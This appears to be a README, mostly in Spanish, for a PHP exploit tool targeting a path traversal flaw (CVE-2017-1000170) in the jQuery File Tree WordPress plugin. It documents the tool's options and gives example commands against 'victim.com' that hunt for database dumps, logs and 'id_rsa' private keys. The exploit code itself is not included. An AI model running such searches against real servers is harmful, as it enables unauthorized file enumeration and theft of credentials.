nickguitar/jquery-file-tree-1.6.6-path-traversalJquery File Tree 1.6.6 exploit de Path Traversal (CVE-2017-1000170)
Exploit de Path Traversal de Jquery File Tree 1.6.6 (CVE-2017-1000170)
La configuración predeterminada del plugin jQueryFileTree <1.6.6 para WordPress no analiza correctamente los datos del usuario, lo que provoca una vulnerabilidad de path traversal.
Esto permite a un atacante enumerar todos los nombres de archivo de todas las carpetas legibles del servidor web.
En combinación con un ataque de inclusión de archivo local o de divulgación de archivos local, esto puede llevar a descargar de forma arbitraria cualquier archivo legible del servidor.
$ xpl_jqueryFileTree.php -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
Leyenda:
-h, --help: Show this message
-u, --url: URL of target
-a, --random-agent: Use random user agents
-f, --filter: Name of files or extensions to search for (separated by comma)
-p, --path: The full path from which the filenames will be read (default: /)
-r, --recursive: Generates the tree recursivelly (be careful)
e.g.: xpl_jqueryFileTree.php -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r
|
\-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths
(You must provide the dot to indicate it's an extension)
xpl_jqueryFileTree.php -u victim.com -f .log,id_rsa -a -r
|
\-> This will search for all files named "id_rsa" or having the extension
".log" within all folders of the server, with random user-agents
Tip: use "php ..... | tee output" to save the result to an output file
